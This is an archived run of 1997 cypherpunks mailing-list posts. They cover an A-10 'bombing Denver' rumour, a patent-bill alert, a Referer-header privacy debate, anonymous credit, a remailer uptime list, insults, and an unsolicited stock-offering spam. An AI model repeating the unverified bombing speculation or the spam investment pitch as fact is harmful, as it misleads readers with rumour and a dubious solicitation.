  So, according to the Air Force, an armed warplane was
allowed to approach within a few miles of one of the
most important underground military installations in
the country, without anybody noticing.

  Are bears Catholic? Does the Pope shit in the woods?
Are cypherpunks revisionists handling the current
military disinformation campaign on this event?

  An armed warplane capable of delivering its payload
upon unwary U.S. citizens gives every indication of
making an attempt to do so, and no major media even
broach the possibility of this being the case.

  I think perhaps I'll drop my cable news channels and
subscribe to the 24-hour a day "Happy Days" network.
  If I'm going to live in fantasy land, I'd rather 
watch the Fonz raise his eyebrows when mentioning the
Bobsie twins, without once suggesting that he would
like to bang the living shit out of them.

TruthMunster




************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Sun, 13 Apr 1997 20:58:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Bombing Denver / Why has no one ever seen Jim Bell and Capt. Buttons together?
Message-ID: <03575784304170@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain





  So, according to the Air Force, an armed warplane was
allowed to approach within a few miles of one of the
most important underground military installations in
the country, without anybody noticing.

  Are bears Catholic? Does the Pope shit in the woods?
Are cypherpunks revisionists handling the current
military disinformation campaign on this event?

  An armed warplane capable of delivering its payload
upon unwary U.S. citizens gives every indication of
making an attempt to do so, and no major media even
broach the possibility of this being the case.

  I think perhaps I'll drop my cable news channels and
subscribe to the 24-hour a day "Happy Days" network.
  If I'm going to live in fantasy land, I'd rather 
watch the Fonz raise his eyebrows when mentioning the
Bobsie twins, without once suggesting that he would
like to bang the living shit out of them.

TruthMunster




************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
 to the URL above for instructions on how to do so.
************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 20:09:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Patent Giveaway Bill - House vote could be week of April 14th
Message-ID: <v0302097eaf774a20c9cc@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Got this one off one of my favorite um, hydrophobic, right-wing lists.

Actually, I *like* the idea of adopting the Japanese model, a patent system
which was designed from the gitgo to strip technology from the original
patentholders and accellerate its transfer to people who could implement it
faster.

Evolution in action, and all that. Of course, I expect that, <duck>
geodesic markets </duck> will reward people who come up with new stuff --
and not people who control old stuff -- by exponentially depreciating old
information as fast as it's created.

"Piracy" being the most efficient form of information transfer on a
ubiquitous network, and, with so-called watermarking, cryptolopes, etc.,
only being able to tell you who your copy was "pirated" from, the first
copy of anything will be auctioned off dear, and subsequent copies will be
sold dear in radiating secondary markets. Jason Cronk just wrote a paper on
this, based on his rump-session talk at FC97. I don't have the URL handy,
but his email address is <mailto:rjasonc@purple.reddesign.com>.

Cheers,
Bob Hettinga

--- begin forwarded text


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Date: Sun, 13 Apr 1997 11:58:35 -0500
To: eagle@eagleforum.org
From: Eagle Forum <eagle@eagleforum.org>
Subject: Patent Giveaway Bill - House vote could be week of April 14th
Mime-Version: 1.0
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                 PATENT GIVEAWAY BILL

         House vote could be week of April 14th


April 11, 1997

 Phone or fax your Congressman (202) 225-3121 and urge
 him to vote NO on H.R. 400, which is misnamed the Patent
 Improvement Act but should be called the Patent Giveaway
 bill or the Ron Brown Sellout Legacy. This bill would
 write into law Ron Brown's Commerce Department news
 release of August 16, 1994, which promised the Japanese
 that we will change our patent law to acquiesce in the
 demands made by the Japan Patent Association in its
 written statement of September 1993 (which called our
 patent system "unsatisfactory" and demanded changes).
 That statement is impudent and insulting to Americans.

 H.R. 400 would transform the U.S. Patent Office into a
 private corporation that could accept bribes for the
 issuing of patents. Of course, the bill doesn't use the
 nasty word bribes; it just says that the Patent Office
 "may accept monetary gifts or donations of services, or
 of real, personal, or mixed property, in order to carry
 out the functions of the Office." With all the recent
 scandals about Asian money used to influence U.S.
 policy, this would be a terrible mistake.

 The entire text of H.R. 400 is a sellout to the Japanese
 demands. This bill would order all patent applications
 to be made public 18 months after the application is
 filed, whether or not the inventor has yet been granted
 a patent. This dramatic change from our traditional
 treatment of patents would be a grievous injustice to
 the individual inventor because it would allow
 foreigners and multinationals to use their enormous
 resources to steal the inventor's idea and beat him into
 production.

 H.R. 400 would loosen up the "reexamination" of U.S.
 patents already issued and allow foreign and domestic
 corporations to participate in the process after paying
 a "reexamination fee." H.R. 400 even specifies that the
 board of directors of the new private patent office
 shall include persons "with substantial background and
 achievement in corporate finance and management." That
 puts the multinationals in the driver's seat to ride
 roughshod over the rights of individual inventors.

 Instead of ratifying the Ron Brown sellout deal,
 Congress should stand up for one of our most important
 constitutional rights - the right of inventors to have,
 for limited times, "the exclusive right to their . . .
 discoveries." This unique provision in the U.S.
 Constitution (Article 1, Section 8) marked a profound
 turning point in world history; it started the marvelous
 series of American inventions that have raised our
 standard of living and built America into an industrial
 super power.

 H.R. 400 invites Asian money to diminish a precious
 American constitutional right. It is a scandal that
 Congress cannot afford to be involved in. Vote NO on
 H.R. 400.


See our sample letter to Congress:
http://www.eagleforum.org/conglet/1997/patents.html
============================================
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 22:13:01 -0700 (PDT)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
In-Reply-To: <v03007801af776c92216b@[207.167.93.63]>
Message-ID: <3351BDB6.1FFE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
 
> The A-10 is believed by Reliable Sources to have been on its way to bomb
> the Federal Building, while the McVeigh trial was starting, in Denver.
> 
> (I'm on some strange lists and can't vouch for this revelation.)

  Which begs the question, "Would those lists be strange if you
'weren't'
on them?"
  (Sorry, I couldn't help myself...)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 22:17:11 -0700 (PDT)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
In-Reply-To: <199704140504.AAA10454@manifold.algebra.com>
Message-ID: <3351BEBC.2310@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Huge Cajones Remailer wrote:
> > The story thus far:
> >   An United States A-10 warplane on a live bombing run breaks formation
> > and spends the next hour flying toward Colorado.
> >   Just short of Vail, it changes course, headed toward Denver, and then
> > shortly thereafter changes direction, heading south, only to reverse
> > its course, and once again head toward Denver/Vail.
> 
> The pilot could have been searching for The Right Reverend Colin James
> III, living near Denver.

Igor,
  Are you suggesting that there 'is' a God?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 23:21:20 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <3351C568.4B7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tom Weinstein wrote:
> Bill Stewart wrote:
> > Thanks for the pointer to MS's security site; there's a lot of
> > good information there.
> >
> > I was highly unimpressed with Microsoft's Response:
> >         "It's Not A Security Flaw"
> >         "But Everybody Important Works Around It"
> >         "And we're fixing it in the next release"
> > without providing much detail about what's going on.
> > It does indicate what to look into to avoid it when writing web pages,
> > but it doesn't say how to avoid it when entering your credit card
> > number into a web page, or what to look for as a non-programmer user.
> 
> I basically agree with Microsoft.  It works as specified, and everyone
> should know that handling sensitive form posts via GET is a bad idea.
> 
> That said, there is certainly some merit to the argument that HTTP's
> "Referer:" is a privacy violation.  Therefore, we've added a preference
> to Communicator that allows you to turn it off.  Because of the late
> date there will be no UI, but if you are concerned about it, you can go
> into your prefs.js file (preferences.js on unix) and turn it off by
> adding the line:

  Nothing personal, but this is horseshit.
  I'm getting mighty tired of vendors claiming that the average user
is not getting hornswaggled by the new technology because they have
the option of becoming the world's foremost computer expert and 
disable all of the bullshit that is foisted upon them.
  I have yet to see an advertisement for a product that states that
the users, upon giving the vendor a pile of cash, will have a stick
shoved up their butt, but will also be able to remove it if they quit
their job and devote the rest of their life to figure out how to
disable intrusive computer mechanisms which intrude on their lives
and their privacy in a multitude of ways.

  Let's get real, here. Corporations add capabilities to their programs
that allow themselves and other 'major players' to have their way with
the user.
  When Joe Average, or a hacker/spammer takes advantage of the same
capability, then the vendors claim it is a 'bug', or that they can't
be blamed for the 'bad guys' use of this built-in function.

Major News Flash!!!
  If it is 'abuse' when I use it, then it is 'abuse' when the vendors
who programmed it that way use it, as well.

  I am awaiting the day when corporations and government finally 
resolve their differences and announce 'Cookie-Key Escrow'.
  I don't mind vendors implementing whatever schemes they choose,
I only resent their making the process obtuse and revealing what
they are doing only when getting 'caught' doing things in the
background that the average user might object to.
  Of course, I realize that I am being afforded the opportunity
to protect myself from unwanted intrusions by adding a "Fuck You"
line to my config.sys file, as long as I put it in front of the
second device file pointer which begins with the letter 'c', unless
it has more than two vowels in the line, in which case I have to
put my left foot behind my right ear and lick my balls twice.

  The bottom line? Why do I have to perform esoteric manipulations
to my system to defend myself from people I give money to in order
to be able to use that system?
  It sounds suspiciously like the protection rackets, to me.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 13 Apr 1997 22:08:35 -0700 (PDT)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
In-Reply-To: <199704140306.UAA02271@fat.doobie.com>
Message-ID: <199704140504.AAA10454@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Huge Cajones Remailer wrote:
> The story thus far:
>   An United States A-10 warplane on a live bombing run breaks formation
> and spends the next hour flying toward Colorado.
>   Just short of Vail, it changes course, headed toward Denver, and then
> shortly thereafter changes direction, heading south, only to reverse
> its course, and once again head toward Denver/Vail.

The pilot could have been searching for The Right Reverend Colin James
III, living near Denver.

> TruthMonger
> http://cnn.com
> 
> -- 
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 13 Apr 1997 23:09:50 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704140031.RAA12600@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970414000850.112512F-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sun, 13 Apr 1997, Mix wrote:

> Tim `C' Mayonnaise's obsessive masturbation has lead to advanced degree of 
> blindness and hairy palms.
> 
>              |||||||||||
>               \~0/ \0~/
>               <  (0)  >
>          --oOO--/|||\--OOo- Tim `C' Mayonnaise
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 23:19:45 -0700 (PDT)
To: Hal Finney <hal@rain.org>
Subject: Re: anonymous credit
In-Reply-To: <199704140455.VAA03115@crypt.hfinney.com>
Message-ID: <3351CD43.5BB3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> 
> Here is a simpler example of Wei's anonymous credit idea.  We can call it
> the "borrowing cryptographers".

Hal,
  I have been following this thread with interest (no pun intended), and
have had the foresight to not add to ideas that go beyond my own ability
to follow.
  (I have to read your posts several times to even begin to grasp some
of them.)

  I am wondering what other concrete examples you might be able to add
to the one in this post which might point to an actual funtional
implementation of the ideas you have been promulgating.
  Many of the CypherPunks discussions involve largely theoretical
concepts which need much development to be practical, but it seems to
me that in this post you are approaching a level where what you are
discussing might actually be feasibly introduced in various microcosmic
situations.

  Being a Canadian, and therefore semi-socialist by nature, I am 
thinking along the lines of Credit Union applicability of your ideas.
Credit Unions often take the form of small groups of individuals or
companies with common aims and/or backgrounds/interests.
  The basic idea behind many Credit Unions is that they are more prone
to lend money to individuals or institutions which are promoting ideas
which can be profitable, but which the average banker or loan agency
would not understand sufficiently to advance money on.

  For example, having an interest in the issues you are discussing, I
might be ameniable to getting involved in an effort to fund the
development of the 'Hal-Wei Anonymous Credit' program.
  The advantage of a Credit Union setup is that I know that it is run
with an eye to realistic chances of success being considered, but also
will take into account efforts that should be funded which may have
only a marginal chance of financial success, but will further the 
general cause of those things I am interested in.

  Truly there are a rising number of issues today which might benefit
from the ability to participate anonymously in the funding of causes
in which one has an interest.
  While AP is one of the more startling and newsworthy (?) aspects
of anonymous lottery/credit systems, there are a multitude of minor
causes which might benefit from the ability to engage in an anonymous
credit system, as well.
  A simple example might be those who wish to financially back a legal
challenge of their health-care system, without risking being denied
benefits as a result of their participation.

  I think that some of the CypherPunks' contributions to computer
technology go largely unrecognized because of the fact that they
aide those who do not wish to draw attention to themselves, for the
most part.
  There isn't a week that goes by without my receiving an email from
someone who thanks me for the benefit they have gained by my introducing
them to encryption or anonymous remailers, yet I doubt that many of them
give the same feedback to those who provide those services. Remailer
operaters seem to mostly receive shit and abuse for feedback, as a
result of their efforts, yet I know from experience that there are many
to whom their services have been a blessing.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 14 Apr 1997 02:04:06 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <3351F2DF.7DC26A1A@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 
> [ long rant deleted ]

I'm just going to reply to what I think it the real substance of your
argument.  If I got the wrong piece, I'm sure you'll tell me.

> Let's get real, here. Corporations add capabilities to their programs
> that allow themselves and other 'major players' to have their way with
> the user.
>   When Joe Average, or a hacker/spammer takes advantage of the same
> capability, then the vendors claim it is a 'bug', or that they can't
> be blamed for the 'bad guys' use of this built-in function.

This particular feature (the HTTP referer header) has nothing to do with
corporations "having their way" with users.  It was created so that web
authors could put "back" buttons on their pages.  The security problem
arises when stupid CGI authors use GET forms to transfer sensitive
information.  This is a security hole in the web site, not in the
browser.  The browser follows the HTTP specification.  If you have a
problem with that, contact the author of that specification.  Or, better
yet, contact the web site (as far as I know, there are none) that has
this security hole.

The only "bad guys" are the web sites that you are giving your private
information to.  If you trust them enough to give them your information
in the first place, shouldn't you trust them not to give it away by
using a GET form?

In the eyes of some, the referer header is a privacy violation.  It
allows a site to see what site you visited before coming there.  In the
case of Navigator, we ONLY send the referer header when you click on a
link.  Not when you select a bookmark.  Not when you type a URL into the
location field.  This allows web sites to see who links to them.  I
think that's something that a web author is entitled to know.

So, you think we're doing something bad.  Why don't you tell me what
you think we should do?

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 14 Apr 1997 06:50:39 -0700 (PDT)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199704141350.GAA08343@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 14 Apr 97 6:46:43 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             #-+#***##*-#  1:20:48  99.99%
hidden   remailer@hidden.net              *+.-###*#*##    33:34  99.97%
lucifer  lucifer@dhp.com                  +++++++*--++    37:43  99.96%
weasel   config@weasel.owl.de             ++-++---+-+   2:26:15  99.94%
winsock  winsock@rigel.cyberpass.net      -------+---   3:02:13  99.88%
balls    remailer@huge.cajones.com        * #######*##     1:25  99.87%
reno     middleman@cyberpass.net          -___.--*+-**  8:53:42  99.72%
dustbin  dustman@athensnet.com            ----- .+-+-   1:22:31  99.67%
cyber    alias@alias.cyberpass.net        + ++  +*++**    32:39  99.66%
replay   remailer@replay.com              -.-*-**** +*    48:24  99.59%
mix      mixmaster@remail.obscura.com     -__.--++*-+  13:31:30  99.54%
squirrel mix@squirrel.owl.de              -+-++- -+-+   2:21:21  99.45%
shaman   remailer@lycaeum.org             ++*+-++--+**    23:01  99.35%
extropia remail@miron.vip.best.com        _..---...-   22:24:15  97.51%
exon     remailer@remailer.nl.com         *#* *__ * ##  3:49:43  95.05%
jam      remailer@cypherpunks.ca          ** **            8:26  26.45%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chairman <ceo@mitnet.com>
Date: Mon, 14 Apr 1997 04:30:35 -0700 (PDT)
Subject: Digi-Cash IPO!  $1.60 per share
Message-ID: <199704140619.CAA14764@ispam.net>
MIME-Version: 1.0
Content-Type: text/plain


Greetings:

Our market research indicated that this information 
may very well be very interesting to you!
  
As you may know, initial public stock offerings confer 
upon QUALIFIED INVESTORS huge profit potential
opportunities, IF they understand risk.  

Millennium Interactive Technologies Corp., developer of 
the first ever advertiser funded system of digital cash 
is offering 625,000 common shares directly to the public 
at $1.60 per share, with a 625 share minimum.
 
MITNET is an E-commerce startup which will offer 
Digital Cash and a FREE smart card to every user who 
retrieves advertising E-mail from its Internet web
site.  MITNET DCUs (Digital Currency Units) can be 
redeemed to pay for your on-line charges, Or converted 
instantly into the currency of any nation.   MITNET 
ad-mail is the future of Internet advertising!

  OFFERING CAN ONLY BE MADE BY WAY OF PROSPECTUS

QUALIFIED INVESTORS of full age can obtain a printed 
copy of this offering prospectus, demo software, and the
website URL, by sending a reply with name, street address, 
and day or evening phone number.  (please specify)  
===================================================
This is neither an offer to sell, nor the 
solicitation of an offer to buy any securities. 
===================================================
Dislike commercial e-mail?  Let us put you on our 
master *DO-NOT-MAIL*  list which we supply to 400+ 
bulk e-mail firms.  Simply reply with the word 
remove anywhere in your message.
===================================================
           mailto:ceo@mitnet.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 14 Apr 1997 12:21:06 -0700 (PDT)
To: dlv@bwalk.dm.com
Subject: Re: A Rumor and Reputation Paradox...
In-Reply-To: <HP945D4w165w@bwalk.dm.com>
Message-ID: <199704140649.HAA00357@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> "Timothy C. May" <tcmay@got.net> writes:
> 
> > be it. Anti-free speechers, including Larry Kolodney and including those
> > who support libel and slander laws, would have us believe that "false
> > speech" is not as protected as "true speech" is. Foo on that.)
> 
> That from a vocal supporter of Cocksucker John Gilmore's plug-pulling...

If I recall, Tim was opposed to the moderation experiment, and to
John's removal of you from the list (the plug-pulling referred to?).

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Mon, 14 Apr 1997 07:17:34 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001600D@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain




Tom Weinstein wrote:

>This particular feature (the HTTP referer header) has nothing to do with
>corporations "having their way" with users.  It was created so that web
>authors could put "back" buttons on their pages.  The security problem
>arises when stupid CGI authors use GET forms to transfer sensitive
>information.  This is a security hole in the web site, not in the
>browser.  The browser follows the HTTP specification.  If you have a
>problem with that, contact the author of that specification.  Or, better
>yet, contact the web site (as far as I know, there are none) that has
>this security hole.

Stupid programmers abound even in large corporations. Bugs, patches and
security holes are now normal everyday things. I agree with Toto.
Companies should take more responsability in the programs they produce.
Especially nowadays when a lot of people without any computer background
or insight into the dangers are accessing the Net. Why does Netscape
(and microsoft) warn users about secure and insecure forms? So they can
say "I told you so!" when you get screwed by someone. Same thing goes
for the GET method. Whatever a "stupid CGI author" does has little
bearing on the issue. It's like saying the tire fell off my car because
the person who built the road to spec ("GET" is allowed) is to blame not
the car maker. I should be warned about certain roads by the car maker.
If "GET" is allowed but unsecure YOU should warn me!

Admit it! It did not occur to your programmers to warn about access to
"GET" forms like it occurred to them to warn about http references
inside a https-accessed document. Now we have to live with it.

And you say "stupid CGI authors". What if they did it on purpose? Are
you going to say "then its stupid web users"? I'd really like to hear
you say that in public!

>In the eyes of some, the referer header is a privacy violation.  It
>allows a site to see what site you visited before coming there.  In the
>case of Navigator, we ONLY send the referer header when you click on a
>link.  Not when you select a bookmark.  Not when you type a URL into the
>location field.  This allows web sites to see who links to them.  I
>think that's something that a web author is entitled to know.

NO WAY! The web author is NOT entitled to know where I came from. So if
you go to Sears the saleperson is entitled to know you came from
JCPenney's? If so, then I am just as much entitled to not tell him or at
least entitled to know that there's a sign on my back that says where I
came from. How many web users are aware of the HTTP REFERRER header? Not
many, especially if they have not read the specs or looked at the logs
from a web server. As an adminsitrator I AM NOT ENTITLED to that info.

>So, you think we're doing something bad.  Why don't you tell me what
>you think we should do?

Accept responsibility?  Ok, that's wishful thinking. How about not
blaming others? How about warning your users? You didn't do it in this
case. If you do then you can say "I told you so!"

Art Grapa
agrapa@banamex.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 14 Apr 1997 09:17:53 -0700 (PDT)
To: AGRAPA@banamex.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001600D@mex3976bcaop1.banamex.com>
Message-ID: <199704141616.JAA12659@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


ARTURO GRAPA YSUNZA writes:
> 
> 
> Tom Weinstein wrote:
> 
> >This particular feature (the HTTP referer header) has nothing to do with
> >corporations "having their way" with users.  It was created so that web
> >authors could put "back" buttons on their pages.  The security problem
> >arises when stupid CGI authors use GET forms to transfer sensitive
> >information.  This is a security hole in the web site, not in the
> >browser.  The browser follows the HTTP specification.  If you have a
> >problem with that, contact the author of that specification.  Or, better
> >yet, contact the web site (as far as I know, there are none) that has
> >this security hole.
> 
> Stupid programmers abound even in large corporations. Bugs, patches and
> security holes are now normal everyday things. I agree with Toto.
> Companies should take more responsability in the programs they produce.

No, specification authors should take more responsibility in the specs
that they produce.  The HTTP spec's use of GET is insecure.  Specification
writers should realize that people will follow their specs, and should
be thinking of security and privacy issues as they are beig written.


> >In the eyes of some, the referer header is a privacy violation.  It
> >allows a site to see what site you visited before coming there.  In the
> >case of Navigator, we ONLY send the referer header when you click on a
> >link.  Not when you select a bookmark.  Not when you type a URL into the
> >location field.  This allows web sites to see who links to them.  I
> >think that's something that a web author is entitled to know.
> 
> NO WAY! The web author is NOT entitled to know where I came from. So if
> you go to Sears the saleperson is entitled to know you came from
> JCPenney's? If so, then I am just as much entitled to not tell him or at
> least entitled to know that there's a sign on my back that says where I
> came from. How many web users are aware of the HTTP REFERRER header? Not
> many, especially if they have not read the specs or looked at the logs
